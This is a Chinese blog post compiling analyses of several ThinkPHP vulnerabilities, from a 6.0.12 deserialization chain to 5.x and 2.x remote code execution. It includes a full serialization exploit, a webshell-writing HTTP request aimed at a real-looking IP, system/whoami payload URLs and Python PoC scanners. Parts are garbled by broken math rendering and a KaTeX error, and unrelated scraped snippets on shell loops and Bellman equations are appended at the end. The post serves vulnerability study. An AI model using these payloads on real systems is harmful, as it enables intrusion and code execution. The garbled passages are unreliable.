Thinkphp漏洞详解合集

article/2025/8/2 16:36:12

文章目录

  • Thinkphp6.0.12LTS反序列化漏洞
    • 环境
    • 漏洞分析
  • thinkphp lang命令执行
    • 环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • CNVD-2018-24942(t5RCE)
    • 环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • Thinkphp3.2.x命令执行
    • 环境
    • 漏洞分析
    • 漏洞复现
  • thinkphp-2x-rce
    • 漏洞环境
    • 影响版本
    • 漏洞分析
  • Thinkphp5.0.23变量覆盖RCE
    • 漏洞环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • thinkphp6.0.0任意文件写入
    • 漏洞环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • 总结


Thinkphp6.0.12LTS反序列化漏洞

环境

Thinkphp6.0.12LTS
PHP7.4.3

漏洞分析

  1. 此次分析直接拿[CISCN 2022初赛]ezpop例题进行整条触发链的还原,漏洞的起点在__destruct函数中的$this->save()函数,只需this->lazySave为True即可调用save方法
    file

  2. 跟进save()方法,漏洞的触发方法为updateData(),这里需要绕过两个点,分别是 t h i s − > i s E m p t y 不能为 T r u e ,然后 this->isEmpty不能为True,然后 this>isEmpty不能为True,然后this->exists要为True
    file

  3. 跟进isEmpty()方法查看,发现其用于判断data数据是否为空,传入data数组即可。
    file

  4. 进入updateData()方法,漏洞的方法在checkAllowFields()函数,要绕过trigger(‘BeforeUpdate’)不等于false,进入trigger方法可以看到只要this->withEvent不为空,则返回的一定是True。

file

file

  1. 一直进入checkAllowFields()方法,会看到这里调用了db()方法,继续跟进

file

  1. 跟进db()方法后可以看到当table不为空,会将table和suffix进行拼接,并且调用table()方法进行调用,这里字符串拼接操作可以触发某个类的_toString()方法,定位到了vendor\topthink\think-orm\src\model\concern\Conversion.php中的_toString()方法,类中的toString()方法调用了toJson()方法,而Json中对toArray()进行了Json编码,跟进toArray()方法。

file

  1. 看到toArray()方法中通过merge将data和relation合并,然后遍历了 d a t a 数组,最后执行 g e t A t t r ( ) 方法,而 data数组,最后执行getAttr()方法,而 data数组,最后执行getAttr()方法,而data是我们可控的,因此getAttr()参数也就可控制,跟进getAttr()方法
    file

  2. getAttr()方法中调用了getValue()方法, n a m e 和 name和 namevalue都可控。
    file

  3. 进入getValue()方法,看到getJsonValue()中传入的参数都可控制,需要过掉withAttr方法,而 f i e l d N a m e 返回的就是 fieldName返回的就是 fieldName返回的就是name,这里 t h i s − > j s o n 要为数组,并且 this->json要为数组,并且 this>json要为数组,并且name要在$json中。
    file

  4. 跟进getJsonValue()方法,可以看到变量覆盖了,首先遍历了 t h i s − > w i t h A t t r [ this->withAttr[ this>withAttr[name],因此, t h i s − > w i t h A t t r [ this->withAttr[ this>withAttr[name]需要是一个数组,并且数组内的值要为命令执行函数,然后 v a l u e 也必须是一个数组,最后通过 value也必须是一个数组,最后通过 value也必须是一个数组,最后通过value[dir]=system(dir, v a l u e ) 这样的形式导致命令执行成功 , 前提是 value)这样的形式导致命令执行成功,前提是 value)这样的形式导致命令执行成功,前提是this->jsonAssoc为True.

file

  1. 整条反序列化链的触发为:
    file

  2. 编写Exp脚本,首先可以需要lazySave为True使其进入save()方法,然后传入 d a t a 数组使得 i s E m p t y ( ) 值为 f a l s e ,再让 data数组使得isEmpty()值为false,再让 data数组使得isEmpty()值为false,再让this->withEvent = false使trigger()返回为true,再让$this->exists为True进入updateData()方法。

  3. 在进入updateData()方法进行字符串拼接的时候,需要新创建一个Conversion类,但是Conversion类并不是实例化类,所以需要找到谁利用的这个类。
    file

  4. 可以发现Model类使用了Conversion类,但是Model是抽象类,就继续找谁使用了Model类,有很多类都使用了Model类,像Pivot、Collection等等,这里看师傅都用的是Pivot类。
    file

  5. 因此剩下的exp编写就让 t h i s − > t a b l e 为 P i v o t 类,触发 C o n v e r s i o n 的 _ t o S t r i n g ( ) 方法,设置 this->table为Pivot类,触发Conversion的\__toString()方法,设置 this>tablePivot类,触发Conversion_toString()方法,设置this->json为数组,从而使其进入getJsonValue()方法,进入getJsonValue()方法后令$this->jsonAssoc为True触发RCE。

完整的exp为:

<?phpnamespace think {abstract class Model{private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;function __construct($obj = ''){$this->lazySave = True;$this->data = ['aiwin' => ['dir']];$this->exists = True;$this->table = $obj;$this->withAttr = ['aiwin' => ['system']];$this->json = ['aiwin', ['aiwin']];$this->jsonAssoc = True;}}
}namespace think\model {use think\Model;class Pivot extends Model{}
}namespace {echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

file

thinkphp lang命令执行

环境

Thinkphp6.0.12LTS
PHP7.4.27

影响版本

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

漏洞分析

漏洞建立在目录遍历和文件包含之上,利用pearcmd的tricks即可为攻击者实施远程代码攻击从而实现RCE,由于thinkphp6.0.13版本之前存在一处本地文件包含漏洞,可以通过lang参数包含任意PHP文件,当此漏洞与register_argc_argv且安装了pcel/pear的环境下配合时,就会导致RCE。

当thinkphp设置了多语言模式后,会通过detect()函数检测语言,会按照url、cookie或浏览器获取语言设置,此时payload被赋值给为参数$langSet

file

然后回到setLangSet($langSet)设置了语言后,回到loadLangPack函数,loadLangPack函数会执行switchLangSet()函数转换加载语言包,而switchLangSet()函数会跑到load()函数中。

file

file

最后程序会走到load()函数,函数的参数由目录和langset参数拼接构造,并且没有对传入的参数进行过滤和限制,造成了文件包含漏洞。
file

file

至于pearcmd是什么,可参考本人曾经文章:pearcmd记录

漏洞复现

通过pearcmd的trick用法直接将phpinfo()写入到hello.php中,这里的lang参数可以写到Cookie或其它变量中,命名是think-lang。
file

漏洞复现成功
file

file

这里复现了很久,一直都能看到pearcmd被写入成功了,但是却不能执行里面php语句,后来找啊找,发现原因好像是在burpsuite中<、>等符号被url编码了,然后不行,记得这里不能够进行url编码,否则不成功,漏洞修复后主要是对lang参数进行了判断过滤。

GET /public/index.php?+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['aiwin']);?>+/var/www/html/shell.php HTTP/1.1
Host: 120.79.29.170:49158
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1678102638; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; csrftoken=A0Vz522jDmBu7sJHbuhEe8DOJ8UizgNw2WDeeCiedNWse0LaAtwQWuOY760mXHv2; think_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd.php
Upgrade-Insecure-Requests: 1

CNVD-2018-24942(t5RCE)

环境

ThinkPHP 5.1.30
oho 7.2.12

影响版本

ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30

漏洞分析

  1. 默认清空下,安装的ThinkPHP没有开启强制路由选项,默认开启的是路由兼容选项,因为没有开启强制路由,因此可以使用路由兼容参数s来调用任意的控制器,从而达到RCE的效果。
    file

  2. 我们拿index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir进行调试看整个流程是如何导致命令执行的。

  3. 首先在路径请求时,thinkphp会先进行模块初始化,即先调用自动加载函数autoload加载基础功能后实例化app类,调用app类中的run()方法完成整一个流程,这其中包括初始化应用,缓存检查,模块和控制器绑定,路由检测等操作,最后通过Response类的send()方法将数据发送到客户端。

file

  1. 而在thinkphp中可以通过给类库正确定义的命名空间,当路径和文件目录一致的时候就可以进行类的自动加载,当我们传入这样的一个POC,程序首先来到Module类的init()函数获取module的信息。
    file

  2. 在获取到Module等各类信息后,会进入if判断,由于 b i n d 自动为空,会进入到第二个 i f 使得 bind自动为空,会进入到第二个if使得 bind自动为空,会进入到第二个if使得available变为true,只要$module不再黑名单中,并且目录正确即能进入。
    file

  3. $available变为true后,继续往下走,会对模块进行初始化,初始化会进入init()函数
    file

  4. 进入init()函数后经过一系列的if判断,判断是否加载初始化文件,扩展文件,公共文件等,都不符合,最后往下走,来到了控制器和操作名的转换,此时控制器变成了think\containerm=,操作名变成了invokefunction。
    file

  5. 接着进入了controller控制器,调用了parseModuleAndClass模块和类的对应解析方法
    file

  6. 在parseModuleAndClass解析方法中,判断name是否有\,有则请求对应的模块和类进行返回。
    file

  7. 最终经过exec方法,经过dispatch解析后,来到了RCE的执行方法invokeFunction(),call_user_array_function()危险函数执行了数据后,通过response返回。
    file

从整个过程可以看到invokeFunction()在container.php文件中,但是Container并不再模块内,但是在pareseModuleAndClass()方法中,当$name以反斜线\开始时会直接将其作为类的命名空间路径,导致了能够以命名空间的特性去自动加载类即实例化了Container类,最后调用了类方法中的危险函数。

漏洞复现

file

由于能够调用的类方法挺多的,所以可以写一个poc进行检测。

import requestsdef poc(url):payload = ['', r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",r"/?s=index/\think\Request/input&filter=phpinfo&data=1",r"/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",r"/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E",r"/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E",r'/?s=/index/\\think\\request/cache&key=1|phpinfo']for i in range(1, 6):url += payload[i]try:r = requests.get(url, verify=False)if 'PHP Version' in r.text:return ielse:return Falseexcept:print("连接出现错误")return Falseif __name__ == '__main__':url=input("输入要检测的url:")i = poc(url)if i:print(f"{url}存在漏洞")

Thinkphp3.2.x命令执行

环境

thinkphp 3.2
php 5.6.30

##影响版本
thinkphp3.2.x

漏洞分析

业务代码中模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

  1. assign函数中的 v a l u e 可控,即我们 value可控,即我们 value可控,即我们value[_filename]
    file

  2. 经过assign函数后, t h i s − t V a r 通过 a r r a y m e r g e ( ) 合并函数赋值给了 this-tVar通过array_merge()合并函数赋值给了 thistVar通过arraymerge()合并函数赋值给了this-tVar
    file

  3. 最后再进入display函数,display函数通过fetch解析获取模板内容,跟进。
    file

  4. fetch()函数一直往下走,$param给赋值成了数组,并传入到了listen()函数中
    file

  5. 跟进listen()函数,listen经过一系列处理,得到$name为Behavior类,进入到exec()函数中
    file

  6. 跟进exec函数,exec函数实例化了Behavior类,并且将tag赋值为run,执行Behavior类中的run()方法
    file

  7. run()方法中经过处理, e n g i n e 引擎为 t h i n k ,经过处理后进入到了 e l s e 中,继续进入模板函数的 f e t c h ( ) 方法,此时 engine引擎为think,经过处理后进入到了else中,继续进入模板函数的fetch()方法,此时 engine引擎为think,经过处理后进入到了else中,继续进入模板函数的fetch()方法,此时_data[var]会包含的日志名称,prefix为空

file

  1. 继续跟进,fetch()方法进入到了Storage的load()方法中,$this->tVar为日志文件的路径数组,跟进load()方法,先调用了__callstatic()方法经过call_user_func_array()后进入到了File类的load()方法中
    file

  2. File类的load()方法将$vars进行覆写后,将其包含,导致了日志文件被包含
    file

漏洞复现

file

file

这里要注意不能进行url编码,否则写入到日志文件中是不会解码的,这样即使文件包含了,代码也不会执行。

简单poc:

import datetime
import urllib.request
import requestsdef poc(url):headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'}date = str(datetime.date.today())date = date.split('-')date = date[0][2:4] + '_' + date[1] + '_' + date[2]write_log = '?m=--><?=phpinfo();?>'log_url = f'?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/{date}.log'try:data = urllib.request.urlopen(url+write_log)except:passtry:resp = requests.get(url + log_url, headers=headers, verify=False)if 'PHP Version' in resp.text:return Trueexcept:print("连接出现错误")return Falseif __name__ == '__main__':url = input("输入要检测的url:")if poc(url):print(f"{url}存在漏洞")

thinkphp-2x-rce

漏洞环境

thinkphp 2.x
php 5.5.38

影响版本

Thinkphp 2.x的版本

漏洞分析

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

file

漏洞代码如下:

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var  =  array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);}

关键看正则替换哪里,使用了/e参数,这里作者的本意应该是将将这么一对一对的参数/值的形式的url写入到 v a r [ var[ var[key] = $value的数组中,但是这里在替换的时候使用了双引号包裹,在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

file

可以看到在/e匹配的时候,数组 v a r 的 k e y 和 v a l u e 先换成了 k e y = 1 , v a l u e 为 2 ,随后就将 var的key和value先换成了key=1,value 为2,随后就将 varkeyvalue先换成了key=1value2,随后就将{phpverison()}作为了key[3],而 p h p v e r s i o n ( ) 等价于 {phpversion()}等价于 phpversion()等价于phpversion()被执行了。

##漏洞复现

file

/3/@eval( P O S T [ 1 ] ) 匹配到了正则表达式,会用第二个参数去进行替换,变成了 _POST[1])匹配到了正则表达式,会用第二个参数去进行替换,变成了 POST[1])匹配到了正则表达式,会用第二个参数去进行替换,变成了var[3]="KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[1])}"导致命令执行

Thinkphp5.0.23变量覆盖RCE

漏洞环境

thinkphp 5.0.20
php 7.4.3

影响版本

thinkphp5.0~thinkphp5.0.23

漏洞分析

由于ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

http://xxxx/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  1. 程序开始时,先会进行routerCheck()路由检查,此时$request已经有请求的全部信息
    file

  2. 跟进check()函数,此时会通过method()方法获取请求的方式
    file

  3. 跟进method方法后,可以看到通过get()方法获取var_method的值,而vat_method就是传入的_method,因此$this-method取出了__construct,进去了request类的构建函数
    file

  4. 继续跟进构建函数,这里通过foreach循环遍历并对 n a m e 进行了覆盖, name进行了覆盖, name进行了覆盖,name最终的值是REQUEST_METHOD的whoami,最后将$this->method=get返回。
    file

  5. 一直往下走,经过dispatch()函数调度后,来到了exec()函数
    file

  6. 跟进exec()函数,首先进入了switch()判断$dispatch[‘type’]的值,这里为method,进入了method的case,随后就进入了param()方法
    file

  7. 跟进param()方法,它将url和参数合并后,就进入了input()函数
    file

  8. 跟进input()函数,input()函数将 n a m e 遍历后赋值给了 name遍历后赋值给了 name遍历后赋值给了data, d a t a 变为了 w h o a m i ,随后通过 g e t F i l t e r ( ) , 将 data变为了whoami,随后通过getFilter(),将 data变为了whoami,随后通过getFilter(),filter赋值为了system
    file
    file

  9. 最后函数进入了filterValue()中,经过call_user_func()执行了system(‘whoami’),也就是前面被变量覆盖的值
    file

漏洞复现

file

poc:

import requestsdef poc(url, func="phpinfo"):full_url = f"{url}/index.php?s=captcha"headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close","Content-Type": "application/x-www-form-urlencoded"}data = {"_method": "__construct", "filter[]": f"{func}", "method": "get", "server[REQUEST_METHOD]": "1"}try:response = requests.post(full_url, headers=headers, data=data, allow_redirects=False, verify=False, timeout=5)if response.status_code == 200 and "PHP Version" in response.text:print(f"[+]{url}存在远程代码执行漏洞")else:print(f"[-]{url}不存在远程代码执行漏洞")except Exception:print(f"[-]{url}请求失败")if __name__ == '__main__':url=str(input("输入要检测的url:"))poc(url)

thinkphp6.0.0任意文件写入

漏洞环境

thinkphp 6.0.0
php 7.4.3

影响版本

thinkphp6.0.0~thinkphp6.0.1

漏洞分析

漏洞分析

漏洞复现

file

file

总结

因为对thinkphp也不是很熟悉,没有系统的学过,所以整条链什么的调试下来可能并不是太清晰,不过暂时先这么记录着,以后还会继续补充添加。


http://chatgpt.dhexx.cn/article/ZYs65aLB.shtml

相关文章

thinkphp漏洞复现

所有文章&#xff0c;仅供安全研究与学习之用&#xff0c;后果自负! thinkphp漏洞 前言一、thinkphp-2x-rce 代码执行0x01 漏洞描述0x02 影响版本0x03 漏洞利用0x04 漏洞修复 二、thinkphp 代码执行 (CNVD-2018-24942)0x01 漏洞描述0x02 影响范围0x03 漏洞利用这就完成了&#…

【shell】shell脚本实战-while循环语句

前言 上文我们讨论了for循环的使用&#xff0c;在有限循环里&#xff0c;我们使用for循环是很方便的一件事情&#xff0c;今天我们来探讨下while循环 while循环语句的语法分析 语法格式一&#xff1a; while [条件] do操作 done语法格式二&#xff1a; while read line do操作…

linux中shell的循环

循环主要分为3种 1.for循环 for循环的基本语法结构是三步走 for ##条件do ##要做什么 done ##结束 借几个脚本来理解一下…

【Linux】shell编程之循环语句

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、循环语句二、for循环语句1.for 语句的结构2.for语句应用示例 三、while 循环语句1.while 循环语句结构2.while语句应用示例 四、until 循环五、跳出循环六、死循…

shell-循环

接上一篇shell运算符接着往下说&#xff0c;shell循环&#xff1a; shell循环有三种&#xff0c;一种是for循环&#xff0c;一种是while循环&#xff0c;还有一种是until循环&#xff0c;循环体中和java类似&#xff0c;可以使用break调出当前循环&#xff0c;continue继续下一…

linux\bash shell for命令\循环

内容来自《Linux命令行与shell脚本编程大全.第3版 (布鲁姆&#xff0c;布雷斯纳汉)》for命令 下面是基本格式&#xff1a; for var in list # 或者把do也写在这一行&#xff1a;for var in list; do docommands done例如&#xff0c;读取列表&#xff1a; for test in A…

linux用while循环输出1到10,Linux Shell系列教程之(十一)Shell while循环 | Linux大学...

摘要 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经对Shell 循环语句的for循环进行了介绍&#xff0c;本篇给大家介绍下Shell 中另一种循环语句&#xff1a;Shell while循环。 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经…

Linux命令行循环执行shell命令浅谈

本文主要介绍了Linux命令行&#xff0c;循环执行shell命令的相关知识&#xff0c;主要包括死循环&#xff0c;普通计数循环&#xff0c;以及Linux shell循环命令 while死循环的用法,需要的朋友可以参考下 Linux命令行&#xff0c;循环执行shell命令 死循环 命令格式 1 while t…

Linux中shell的循环语句

目录 一、循环语句 1、for循环语句 批量添加未存在的用户&#xff0c;用户名存放在users.txt文件中&#xff0c;每行一个初始密码均设为123456&#xff0c;新增users.txt 文件&#xff0c;vim users.txt 录入用户 2、while循环语句 通过变量RANDOM获得1-999随机数,提示用户猜测…

【LinuxShell】Shell编程之循环语句

文章目录 前言一、循环1.循环的作用2.循环和遍历 二、for循环语句1.for语句的用法2.for逻辑结构3.for语句的格式4.echo的用法5.for语句的典型案列 三、while循环语句1.while语句的用法2.while逻辑结构3.while语句的格式4.while语句的典型案例 四、until命令1.until语句的用法2.…

【Linux】:shell循环语句

运行Shell脚本有两种方法&#xff1a; 1、vi test.sh #! /bin/bash #编写内容 运行sh test.sh 2、chmod x ./test.sh #脚本具有执行权限 ./test.sh #执行脚本 if条件判断 单分支if条件&#xff1a; if [ 条件判断式 ]then程序 fi注意&#xff1a;中括号与条件判断式之间有空…

shell脚本循环执行一个linux命令,shell脚本编程之循环语句

在运行脚本时重复执行一系列的命令是很常见的&#xff0c;这时我们就需要使用循环语句来达到这个目的。 一、for命令 格式&#xff1a;for 变量 in 列表&#xff1b;do 循环体 done for命令会遍历列表中的每一个值&#xff0c;并且在遍历完成后退出循环。 列表形式有以下几种&a…

Linuxshell脚本之循环语句

目录 一、循环 1.循环的含义 2.重复运行次数 3.常见的循环命令 4.循环示意图 二、For语句 1.定义 2.表达式 &#xff08;1&#xff09;for循环 &#xff08;2&#xff09;算术for循环 &#xff08;3&#xff09;嵌套 ​ 三、while语句 1定义 2.格式 3.while循…

【Linux】 Shell循环

for循环遍历 { }C语言风格的for 遍历 while 循环 while test测试成立 do命令 donewhile : # 相当于while true until循环 与while 循环相反 until 循环 while test测试不成立 do命令 donecontinue & break 嵌套的时候 if 要和 fi 在一起 do 要和done 在一起 (相邻最…

二、马尔可夫决策过程与贝尔曼方程

这里写目录标题 1 马尔可夫性质2 马尔可夫过程3 马尔可夫奖励过程&#xff08;Markov reward process, MRP&#xff09;3.1 MRP的贝尔曼方程3.2 MRP的贝尔曼方程求解方法3.3 总结 4 马尔可夫决策过程&#xff08;Markov decision process, MDP&#xff09;4.1 MDP状态价值函数贝…

马尔可夫决策过程和贝尔曼方程

马尔可夫决策过程&#xff08;MDP)简介 下一个状态 S t 1 S_{t1} St1​是从概率分布P中得到的&#xff0c;该概率分布P取决于整个历史&#xff0c;因此我们需要考虑从 s 0 s_0 s0​开始到t时刻的状态。马尔可夫是具有马尔可夫性质的随机过程 定义 P [ S t 1 ∣ S t ] P [ …

贝尔曼方程(Bellman Equation)

贝尔曼方程&#xff08;Bellman Equation&#xff09;也被称作动态规划方程&#xff08;Dynamic Programming Equation&#xff09;&#xff0c;由理查贝尔曼&#xff08;Richard Bellman&#xff09;发现&#xff0c;由于其中运用了变分法思想&#xff0c;又被称之为现代变分法…

强化学习:贝尔曼方程(Bellman Equation)

∗ ∗ 重点&#xff1a;状态值、贝尔曼方程 ∗ ∗ **重点&#xff1a;状态值、贝尔曼方程** ∗∗重点&#xff1a;状态值、贝尔曼方程∗∗ return评估策略 在前面概念介绍中&#xff0c;我们知道了可以用 return 来评估一个策略的好坏。如图&#xff0c;有三个不同的策略&…

贝尔曼方程推导

马尔可夫的动态特性&#xff1a; 回报&#xff1a;&#xff08;两种定义&#xff09; 或 &#xff08;折扣率大于等于0小于等于1&#xff0c;折扣率决定了未来收益的现值&#xff09; 状态价值函数&#xff1a;从状态s开始&#xff0c;智能体按照策略π进行决策所获得回报的…

【机器学习】带你轻松理解什么是强化学习中的贝尔曼方程

系列文章目录 第十八章 Python 机器学习入门之强化学习 目录 系列文章目录 前言 一、什么是贝尔曼方程 二、贝尔曼方程为什么有用 三、贝尔曼方程是怎么来的 总结 前言 贝尔曼方程是强化学习中最重要的一个方程式。如果可以计算状态S 的状态动作函数 Q(s,a)&#xff0c…